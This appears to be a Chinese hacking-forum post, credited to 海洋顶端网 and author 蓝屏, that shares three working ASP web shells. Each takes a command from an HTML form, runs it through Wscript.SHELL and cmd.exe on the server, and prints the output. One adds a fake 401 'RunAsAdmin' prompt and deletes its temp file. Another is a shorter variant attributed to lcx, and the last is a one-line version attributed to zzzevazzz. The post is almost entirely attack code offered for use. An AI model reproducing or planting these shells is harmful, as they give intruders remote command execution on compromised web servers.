信息来源：海洋顶端网
文章作者：蓝屏
复制内容到剪贴板
代码:
<%@codepage=936%><%On Error Resume Next
if Request("ad")<>"" then response.status="401 not Authorized"
Set z=Server.CreateObject("Wscript.SHELL")
T=Server.mappath("lp"&year(date)&Session.SessionID&".txt")
sz=Request("Ck")
If sz=""Then sz="set"
z.Run "%COMSPEC% /c^"&sz&">"&T,0,True
Response.Write "<FORM method=POST><input type=text name=Ck value='"&sz&"'> <input type=submit value=Run> <input type=reset value=RESET> <input type=submit name=ad title=PasswordWantted value=RunAsAdmin></FORM><br>执行了["&sz&"] {临时文件}["&T&"]<Iframe src='lp"&year(date)&Session.SessionID&".txt' width=99% height=99% frameborder=0></iframe>"
response.flush
for i=1 to 1800000
ys=9+9
next
z.run "%COMSPEC% /c echo Y│del "&T,1,True
set z=Nothing%>lcx根据蓝屏的又改了一个，源码：
复制内容到剪贴板
代码:
<%
Dim oscript
Dim szCMD, szTempFile ,del
Set oscript = Server.CreateObject("Wscript.SHELL")
szCMD = Request.Form(".CMD")
del=Request.Form("del")
If (szCMD <> " " ) Then
szTempFile = "d:\"&"l"&year(date)&".txt"
Call oscript.Run ("cmd.exe /c echo NO FSO ASPMM V0.0 by [url]www.icehack.com>[/url]" & szTempFile, 0, True)
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
End If
If (del = "DELtempfile") Then
Call oscript.Run( "cmd.exe /c del "&szTempFile,0,True)
end if
%>
<FORM method="POST">
<input type=text name=".CMD" size=45 >
<input type=submit value="Run"> <input type=submit value="DELtempfile" name=del>
<%
Response.Write "<Iframe src='d:\l"&year(date)&".txt' width=99% height=99%
frameborder=0></iframe>" %>
set oScrip=Nothing
%>
</form>不用这么麻烦吧。瞧zzzevazzz的：
复制内容到剪贴板
代码:
<form method="post">
<input type=text name="cmd" size=60>
<input type=submit value="run"></form>
<textarea readonly cols=80 rows=20>
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request.form("cmd")).stdout.readall%>
</textarea>
